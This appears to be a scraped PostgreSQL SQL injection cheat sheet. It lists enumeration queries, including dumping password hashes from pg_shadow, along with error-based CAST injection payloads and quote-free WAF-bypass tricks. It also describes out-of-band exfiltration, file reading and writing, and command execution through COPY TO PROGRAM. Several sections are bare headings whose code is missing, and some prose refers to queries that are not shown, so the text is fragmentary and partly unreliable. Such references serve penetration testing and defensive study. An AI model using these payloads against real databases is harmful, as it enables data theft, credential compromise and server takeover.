Postgresql Injection

PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.

Summary

PostgreSQL Comments

Type
Comment

Single-Line Comment

--

Multi-Line Comment

/**/

PostgreSQL Enumeration

Description
SQL Query

DBMS version

SELECT version()

Database Name

SELECT CURRENT_DATABASE()

Database Schema

SELECT CURRENT_SCHEMA()

List PostgreSQL Users

SELECT usename FROM pg_user

List Password Hashes

SELECT usename, passwd FROM pg_shadow

List DB Administrators

SELECT usename FROM pg_user WHERE usesuper IS TRUE

Current User

SELECT user;

Current User

SELECT current_user;

Current User

SELECT session_user;

Current User

SELECT usename FROM pg_user;

Current User

SELECT getpgusername();

PostgreSQL Methodology

Description
SQL Query

List Schemas

SELECT DISTINCT(schemaname) FROM pg_tables

List Databases

SELECT datname FROM pg_database

List Tables

SELECT table_name FROM information_schema.tables

List Tables

SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'

List Tables

SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'

List Columns

SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

PostgreSQL Error Based

Name
Payload

CAST

AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- -

CAST

AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- -

CAST

AND CAST((SELECT version()) AS INT)=1337 -- -

CAST

AND (SELECT version())::int=1 -- -

PostgreSQL XML Helpers

The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

PostgreSQL Blind

PostgreSQL Blind With Substring Equivalent

Function
Example

SUBSTR

SUBSTR('foobar', <START>, <LENGTH>)

SUBSTRING

SUBSTRING('foobar', <START>, <LENGTH>)

SUBSTRING

SUBSTRING('foobar' FROM <START> FOR <LENGTH>)

Examples:

PostgreSQL Time Based

Identify Time Based

Database Dump Time Based

Table Dump Time Based

Columns Dump Time Based

PostgreSQL Out of Band

Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as COPY, lo_export, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.

PostgreSQL Stacked Query

Use a semi-colon ";" to add another query

PostgreSQL File Manipulation

PostgreSQL File Read

NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of 0fdc8495bff02684142a44ab3bc5b18a8ca1863aarrow-up-right commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.

  • Using pg_read_file, pg_ls_dir

  • Using COPY

  • Using lo_import

PostgreSQL File Write

  • Using COPY

  • Using COPY (one-line)

  • Using lo_from_bytea, lo_put and lo_export

PostgreSQL Command Execution

Using COPY TO/FROM PROGRAM

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.

Using libc.so.6

PostgreSQL WAF Bypass

Alternative to Quotes

Payload
Technique

SELECT CHR(65)||CHR(66)||CHR(67);

String from CHR()

SELECT $TAG$This

Dollar-sign ( >= version 8 PostgreSQL)

PostgreSQL Privileges

PostgreSQL List Privileges

Retrieve all table-level privileges for the current user, excluding tables in system schemas like pg_catalog and information_schema.

PostgreSQL Superuser Role

References

Last updated